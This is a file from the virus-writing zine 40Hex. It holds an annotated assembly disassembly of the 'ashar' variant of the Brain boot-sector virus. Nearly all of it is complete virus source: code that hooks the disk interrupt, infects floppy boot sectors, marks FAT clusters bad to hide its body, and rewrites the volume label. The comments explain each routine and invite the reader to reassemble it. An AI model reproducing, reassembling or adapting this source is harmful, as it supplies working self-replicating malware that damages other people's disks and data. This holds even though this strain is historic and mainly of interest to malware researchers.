40Hex Number 8 Volume 2 Issue 4                                       File 008

; This is the ashar variant of the classic Pakistani Brain virus. It is large
; by today's standards, although it was one of the first.  It is a floppy only
; boot sector infector.

brain           segment byte public
               assume  cs:brain, ds:brain
; Disassembly done by Dark Angel of PHALCON/SKISM
               org     0

               cli
               jmp     entervirus
idbytes         db       34h, 12h
firsthead       db      0
firstsector     dw      2707h
curhead         db      0
cursector       dw      1
               db      0, 0, 0, 0
               db      'Welcome to the  Dungeon         '
copyright       db      '(c) 1986 Brain'
               db      17h
               db      '& Amjads (pvt) Ltd   VIRUS_SHOE '
               db      ' RECORD   v9.0   Dedicated to th'
               db      'e dynamic memories of millions o'
               db      'f virus who are no longer with u'
               db      's today - Thanks GOODNESS!!     '
               db      '  BEWARE OF THE er..VIRUS  : \th'
               db      'is program is catching      prog'
               db      'ram follows after these messeges'
               db      '..... $'
               db      '#@%$'
               db      '@!! '
entervirus:
               mov     ax,cs
               mov     ds,ax                   ; ds = 0
               mov     ss,ax                   ; set stack to after
               mov     sp,0F000h               ; virus
               sti
               mov     al,ds:[7C00h+offset firsthead]
               mov     ds:[7C00h+offset curhead],al
               mov     cx,ds:[7C00h+offset firstsector]
               mov     ds:[7C00h+offset cursector],cx
               call    calcnext
               mov     cx,5                    ; read five sectors
               mov     bx,7C00h+200h           ; after end of virus

loadnext:
               call    readdisk
               call    calcnext
               add     bx,200h
               loop    loadnext

               mov     ax,word ptr ds:[413h]   ; Base memory size in Kb
               sub     ax,7                    ; - 7 Kb
               mov     word ptr ds:[413h],ax   ; Insert as new value
               mov     cl,6
               shl     ax,cl                   ; Convert to paragraphs
               mov     es,ax
               mov     si,7C00h                ; Copy from virus start
               mov     di,0                    ; to start of memory
               mov     cx,1004h                ; Copy 1004h bytes
               cld
               rep     movsb
               push    es
               mov     ax,200h
               push    ax
               retf                            ; return to old boot sector

readdisk:
               push    cx
               push    bx
               mov     cx,4                    ; Try 4 times

tryread:
               push    cx
               mov     dh,ds:[7C00h+offset curhead]
               mov     dl,0                    ; Read sector from default
               mov     cx,ds:[7C00h+offset cursector]
               mov     ax,201h                 ; Disk to memory at es:bx
               int     13h
               jnc     readOK
               mov     ah,0                    ; Reset disk
               int     13h                     ; (force read track 0)
               pop     cx
               loop    tryread

               int     18h                     ; ROM basic on failure
readOK:
               pop     cx
               pop     bx
               pop     cx
               retn

calcnext:
               mov     al,byte ptr ds:[7C00h+offset cursector]
               inc     al
               mov     byte ptr ds:[7C00h+offset cursector],al
               cmp     al,0Ah
               jne     donecalc
               mov     byte ptr ds:[7C00h+offset cursector],1
               mov     al,ds:[7C00h+offset curhead]
               inc     al
               mov     ds:[7C00h+offset curhead],al
               cmp     al,2
               jne     donecalc
               mov     byte ptr ds:[7C00h+offset curhead],0
               inc     byte ptr ds:[7C00h+offset cursector+1]
donecalc:
               retn

; the following is a collection of garbage bytes
               db       00h, 00h, 00h, 00h, 32h,0E3h
               db       23h, 4Dh, 59h,0F4h,0A1h, 82h
               db      0BCh,0C3h, 12h, 00h, 7Eh, 12h
               db      0CDh, 21h,0A2h, 3Ch, 5Fh
a_data          dw      050Ch
; Second part of the virus begins here
               jmp     short entersecondpart
               db      '(c) 1986 Brain & Amjads (pvt) Ltd ',0
readcounter     db      4                       ; keep track of # reads
curdrive        db      0
int13flag       db      0

entersecondpart:
               mov     cs:readcounter,1Fh
               xor     ax,ax
               mov     ds,ax                   ; ds -> interrupt table
               mov     ax,ds:[13h*4]
               mov     ds:[6Dh*4],ax
               mov     ax,ds:[13h*4+2]
               mov     ds:[6Dh*4+2],ax
               mov     ax,offset int13         ; 276h
               mov     ds:[13h*4],ax
               mov     ax,cs
               mov     ds:[13h*4+2],ax
               mov     cx,4                    ; 4 tries
               xor     ax,ax
               mov     es,ax                   ; es -> interrupt table

tryreadbootsector:
               push    cx
               mov     dh,cs:firsthead
               mov     dl,0
               mov     cx,cs:firstsector
               mov     ax,201h                 ; read from default disk
               mov     bx,7C00h
               int     6Dh                     ; int 13h
               jnc     readbootOK
               mov     ah,0
               int     6Dh                     ; int 13h
               pop     cx
               loop    tryreadbootsector

               int     18h                     ; ROM basic on failure
readbootOK:                                     ; return control to
                                               ; original boot sector
;*              jmp     far ptr 0000:7C00h
               db      0EAh, 00h, 7Ch, 00h, 00h
               nop                             ; MASM NOP!!!
int13:
               sti
               cmp     ah,2                    ; if not read request,
               jne     doint13                 ; do not go further
               cmp     dl,2                    ; if after second floppy,
               ja      doint13                 ; do not go further
               cmp     ch,0                    ; if not reading boot sector,
               jne     regularread             ; go handle as usual
               cmp     dh,0                    ; if boot sector,
               je      readboot                ; do I<-/>/\|> stuff
regularread:
               dec     cs:readcounter          ; Infect after 4 reads
               jnz     doint13                 ; If counter still OK, don't
                                               ; do anything else
               jmp     short readboot          ; Otherwise, try to infect
doint13:
               jmp     exitint13h
readboot:
; FINISH THIS!
               mov     cs:int13flag,0          ; clear flag
               mov     cs:readcounter,4        ; reset counter
               push    ax
               push    bx
               push    cx
               push    dx
               mov     cs:curdrive,dl
               mov     cx,4

tryreadbootblock:
               push    cx
               mov     ah,0                    ; Reset disk
               int     6Dh
               jc      errorreadingbootblock   ; Try again
               mov     dh,0
               mov     cx,1
               mov     bx,offset readbuffer    ; buffer @ 6BEh
               push    es
               mov     ax,cs
               mov     es,ax
               mov     ax,201h
               int     6Dh                     ; Read boot sector
               pop     es
               jnc     continuestuff           ; continue if no error
errorreadingbootblock:
               pop     cx
               loop    tryreadbootblock

               jmp     short resetdisk         ; too many failures
               nop
continuestuff:
               pop     cx                      ; get system id in boot block
               mov     ax,word ptr cs:[offset readbuffer+4]
               cmp     ax,1234h                ; already infected?
               jne     dodisk                  ; if not, infect it
               mov     cs:int13flag,1          ; flag prev. infection
               jmp     short noreset
dodisk:
               push    ds
               push    es
               mov     ax,cs
               mov     ds,ax
               mov     es,ax
               push    si
               call    writevirus              ; infect the disk
               jc      failme                  ; exit on failure
               mov     cs:int13flag,2          ; flag success
               call    changeroot              ; manipulate volume label
failme:
               pop     si
               pop     es
               pop     ds
               jnc     noreset                 ; don't reset on success
resetdisk:
               mov     ah,0                    ; reset disk
               int     6Dh                     ; int 13h
noreset:
               pop     dx
               pop     cx
               pop     bx
               pop     ax
               cmp     cx,1
               jne     exitint13h
               cmp     dh,0
               jne     exitint13h
               cmp     cs:int13flag,1          ; already infected?
               jne     wasntinfected           ; if wasn't, go elsewhere
               mov     cx,word ptr cs:[offset readbuffer+7]
               mov     dx,word ptr cs:[offset readbuffer+5]
               mov     dl,cs:curdrive          ; otherwise, read real
               jmp     short exitint13h        ; boot sector
wasntinfected:
               cmp     cs:int13flag,2          ; successful infection?
               jne     exitint13h              ; if not, just do call
               mov     cx,cs:firstsector
               mov     dh,cs:firsthead
exitint13h:
               int     6Dh                     ; int 13h
               retf    2
               db      15 dup (0)

FATManip:                                       ; returns al as error code
               jmp     short delvedeeper
               nop
FATManipreadcounter dw      3
               db      ' (c) 1986 Brain & Amjads (pvt) Ltd'
delvedeeper:
               call    readFAT                 ; Get FAT ID byte
               mov     ax,word ptr ds:[offset readbuffer]
               cmp     ax,0FFFDh               ; is it 360K disk?
               je      is360Kdisk              ; continue if so
               mov     al,3                    ; al=3 == not good disk
               stc                             ; flag error
               retn                            ; and exit
is360Kdisk:
               mov     cx,37h
               mov     FATManipreadcounter,0   ; none found yet
checknextsector:
               call    FATentry12bit           ; get entry in FAT
               cmp     ax,0                    ; unused?
               jne     notunused
               inc     FATManipreadcounter     ; one more found unused
               cmp     FATManipreadcounter,3   ; If need more,
               jne     tryanother              ;  go there
               jmp     short markembad         ; found 3 consecutive
               nop                             ; empty sectors
notunused:
               mov     FATManipreadcounter,0   ; must start over
tryanother:
               inc     cx                      ; try next sector
               cmp     cx,163h                 ; end of disk?
               jne     checknextsector         ; if not, continue
               mov     al,1                    ; al=1 == none empty
               stc                             ; Indicate error
               retn
markembad:
               mov     dl,3                    ; 3 times
markanotherbad:
               call    markbad12bit
               dec     cx
               dec     dl
               jnz     markanotherbad
               inc     cx
               call    calc1sttrack
               call    writeFAT                ; update FAT
               mov     al,0                    ; al=0 == ok
               clc                             ; indicate success
               retn

markbad12bit:
               push    cx
               push    dx
               mov     si,offset readbuffer    ; si -> buffer
               mov     al,cl
               shr     al,1
               jc      low_12                  ; low bits
               call    clus2offset12bit
               mov     ax,[bx+si]              ; get FAT entry
               and     ax,0F000h               ; mark it bad
               or      ax,0FF7h
               jmp     short putitback         ; and put it back
               nop
low_12:
               call    clus2offset12bit
               mov     ax,[bx+si]              ; get FAT entry
               and     ax,0Fh                  ; mark it bad
               or      ax,0FF70h
putitback:
               mov     [bx+si],ax              ; replace FAT entry
               mov     word ptr ds:[400h][bx+si],ax ; in two places
               pop     dx
               pop     cx
               retn

FATentry12bit:
               push    cx
               mov     si,offset readbuffer    ; si->buffer
               mov     al,cl
               shr     al,1
; Part 3 of the virus starts here
               jc      want_high_12
               call    clus2offset12bit
               mov     ax,[bx+si]
               and     ax,0FFFh
               jmp     short exitFATentry12bit
               nop
want_high_12:
               call    clus2offset12bit        ; xxxxxxxxxxxx0000
               mov     ax,[bx+si]              ; ^^^^^^^^^^^^wanted
               and     ax,0FFF0h               ; mask wanted bits
               mov     cl,4                    ; and move to correct
               shr     ax,cl                   ; position
exitFATentry12bit:
               pop     cx
               retn

clus2offset12bit:
               push    dx
               mov     ax,3
               mul     cx
               shr     ax,1                    ; ax = cx*1.5
               mov     bx,ax
               pop     dx
               retn

readFAT:
               mov     ah,2                    ; read
               call    FAT_IO
               retn

writeFAT:
               mov     ah,3                    ; write
               call    FAT_IO
               retn

FAT_IO:
               mov     cx,4                    ; try four times
FAT_IOLoop:
               push    cx
               push    ax
               mov     ah,0                    ; reset disk
               int     6Dh                     ; int 13h
               pop     ax
               jc      tryFAT_IOagain
               mov     bx,offset readbuffer
               mov     al,4                    ; 4 sectors
               mov     dh,0                    ; head 0
               mov     dl,curdrive
               mov     cx,2                    ; sector 2
               push    ax                      ; (FAT)
               int     6Dh                     ; int 13h
               pop     ax
               jnc     exitFAT_IO
tryFAT_IOagain:
               pop     cx
               loop    FAT_IOLoop

               pop     ax
               pop     ax
               mov     al,2
               stc                             ; mark error
               retn
exitFAT_IO:
               pop     cx
               retn

calc1sttrack:
               push    cx
               sub     cx,2
               shl     cx,1                    ; 2 sectors/cluster
               add     cx,0Ch                  ; start of data area
               mov     ax,cx                   ; ax = sector
               mov     cl,12h                  ; 4096
               div     cl                      ; ax/4096 = al rem ah
               mov     byte ptr firstsector+1,al
               mov     firsthead,0
               inc     ah
               cmp     ah,9                    ; past track 9?
               jbe     notpasttrack9           ; nope, we are ok
               sub     ah,9                    ; otherwise, adjust
               mov     firsthead,1
notpasttrack9:
               mov     byte ptr firstsector,ah
               pop     cx
               retn

               db      0, 0, 0, 0, 0, 0
r_or_w_root     db      3
entrycount      dw      35h

tempsave1       dw      303h
tempsave2       dw      0EBEh
tempsave3       dw      1
tempsave4       dw      100h
               db      0E0h,0D8h, 9Dh,0D7h,0E0h, 9Fh
               db       8Dh, 98h, 9Fh, 8Eh,0E0h
               db      ' (c) ashar $'
changeroot:
               call    readroot                ; read in root directory
               jc      donotchangeroot
               push    di
               call    changevolume            ; change volume label
               pop     di
               jc      donotchangeroot
               call    writeroot               ; write back new root dir
donotchangeroot:
               retn
; The following is just garbage bytes
               db      0BBh, 9Bh, 04h,0B9h, 0Bh
               db      0,8Ah,7,0F6h,0D8h,88h,4,46h,43h
               db      0E2h,0F6h,0B0h,8,88h,4,0F8h,0C3h
               db      0C6h, 06h

changevolume:
               mov     entrycount,6Ch
               mov     si,offset readbuffer+40h; 3nd dir entry
               mov     tempsave1,dx
               mov     ax,entrycount           ; 6Ch
               shr     ax,1
               mov     tempsave3,ax            ; 36h
               shr     ax,1
               mov     tempsave2,ax            ; 1Bh
               xchg    ax,cx
               and     cl,43h                  ; cx = 3
               mov     di,tempsave2
               add     di,1E3h                 ; di = 01FE
findlabel:
               mov     al,[si]
               cmp     al,0
               je      dolabel                 ; no mo entries
               mov     al,[si+0Bh]             ; attribute byte
               and     al,8                    ; volume label?
               cmp     al,8                    ; yes?
               je      dolabel                 ; then change it!
               add     si,20h                  ; go to next directory entry
               dec     entrycount
               jnz     findlabel               ; loop back
               stc                             ; Error!
               retn
               db      8Bh
dolabel:
               mov     bx,[di]                 ; offset a_data
               xor     bx,tempsave3            ; bx = 53Ah
               mov     tempsave3,si            ; si->direntry
               cli
               mov     ax,ss
               mov     tempsave1,ax
               mov     tempsave2,sp
               mov     ax,cs
               mov     ss,ax
               mov     sp,tempsave3
               add     sp,0Ch                  ;->reserved area
               mov     cl,51h
               add     dx,444Ch
               mov     di,2555h
               mov     cx,0C03h
               repe    cmpsw
               mov     ax,0B46h
               mov     cx,3
               rol     ax,cl                   ; ax = 5A30h
               mov     tempsave3,ax
               mov     cx,5
               mov     dx,8
               sub     tempsave3,5210h         ; 820h
               push    tempsave3               ; store attributes/reserved
; I haven't commented the remainder of this procedure.
; It basically changes the volume label to read "(c) Brain"

; Comment mode OFF

dowhatever:
               mov     ah,[bx]                 ; 5a3h
               inc     bx
               mov     dl,ah
               shl     dl,1
               jc      dowhatever
searchstuff:
               mov     dl,[bx]                 ; dl=C2h
               inc     bx                      ; bx=53Eh
               mov     al,dl
               shl     dl,1
               jc      searchstuff
               add     ax,1D1Dh
               push    ax
               inc     tempsave3
               db       73h, 01h               ; jnc $+3
               db      0EAh,0E2h,0E1h, 8Bh, 26h; jmp 268B:E1E2
               xchg    bp,ax
               add     al,0A1h
               xchg    bx,ax
               add     al,8Eh
               sar     bl,1
               add     dh,[bp+si]
               clc
               ret
               ;db       95h, 04h,0A1h, 93h, 04h, 8Eh
               ;db      0D0h,0FBh, 02h, 32h,0F8h,0C3h

; Comment mode ON

readroot:
               mov     r_or_w_root,2           ; set action code
               jmp     short do_rw_root        ; easier to do w/
               nop                             ; mov ah, 2
writeroot:
               mov     r_or_w_root,3
               jmp     short do_rw_root        ; this is somewhat useless
               nop
do_rw_root:
               mov     dh,0                    ; head 0
               mov     dl,curdrive
               mov     cx,6                    ; sector 6
               mov     ah,r_or_w_root
               mov     al,4                    ; 4 sectors
               mov     bx,offset readbuffer
               call    doint13h
               jc      exit_rw_root            ; quit on error
               mov     cx,1
               mov     dh,1                    ; head 1
               mov     ah,r_or_w_root
               mov     al,3
               add     bx,800h
               call    doint13h

exit_rw_root:
               retn

doint13h:
               mov     tempsave1,ax
               mov     tempsave2,bx
               mov     tempsave3,cx
               mov     tempsave4,dx
               mov     cx,4

doint13hloop:
               push    cx
               mov     ah,0                    ; Reset disk
               int     6Dh
               jc      errordoingint13h
               mov     ax,tempsave1
               mov     bx,tempsave2
               mov     cx,tempsave3
               mov     dx,tempsave4
               int     6Dh                     ; int 13h
               jnc     int13hsuccess
errordoingint13h:
               pop     cx
               loop    doint13hloop

               stc                             ; indicate error
               retn
int13hsuccess:
               pop     cx
               retn

               db      0, 0, 0
; Part 4 of the virus starts here
tempstorecx     dw      3
readwritecurrentdata    dw      301h

writevirus:
               call    FATManip
               jc      exitwritevirus
               mov     cursector,1
               mov     curhead,0
               mov     bx,offset readbuffer
               call    readcurrent
               mov     bx,offset readbuffer
               mov     ax,firstsector
               mov     cursector,ax
               mov     ah,firsthead
               mov     curhead,ah
               call    writecurrent
               call    calcnextsector
               mov     cx,5
               mov     bx,200h
writeanothersector:
               mov     tempstorecx,cx
               call    writecurrent
               call    calcnextsector
               add     bx,200h
               mov     cx,tempstorecx
               loop    writeanothersector

               mov     curhead,0
               mov     cursector,1
               mov     bx,0
               call    writecurrent
               clc                             ; indicate success
exitwritevirus:
               retn


readcurrent:
               mov     readwritecurrentdata,201h
               jmp     short doreadwrite
               nop
writecurrent:
               mov     readwritecurrentdata,301h
               jmp     short doreadwrite       ; This is pointless.
               nop
doreadwrite:
               push    bx
               mov     cx,4

tryreadwriteagain:
               push    cx
               mov     dh,curhead
               mov     dl,curdrive
               mov     cx,cursector
               mov     ax,readwritecurrentdata ; read or write?
               int     6Dh                     ; int 13h
               jnc     readwritesuccessful
               mov     ah,0                    ; reset disk
               int     6Dh                     ; int 13h
               pop     cx
               loop    tryreadwriteagain

               pop     bx
               pop     bx
               stc                             ; Indicate error
               retn
readwritesuccessful:
               pop     cx
               pop     bx
               retn


calcnextsector:
               inc     byte ptr cursector      ; next sector
               cmp     byte ptr cursector,0Ah
               jne     donecalculate           ; finished calculations
               mov     byte ptr cursector,1    ; clear sector #
               inc     curhead                 ; and go to next head
               cmp     curhead,2               ; if not too large,
               jne     donecalculate           ; we are done
               mov     curhead,0               ; otherwise clear head #
               inc     byte ptr cursector+1    ; and advance cylinder
donecalculate:
               retn

               db       64h, 74h, 61h

; read buffer starts here
; insert your favorite boot block below...
readbuffer:
brain           ends
               end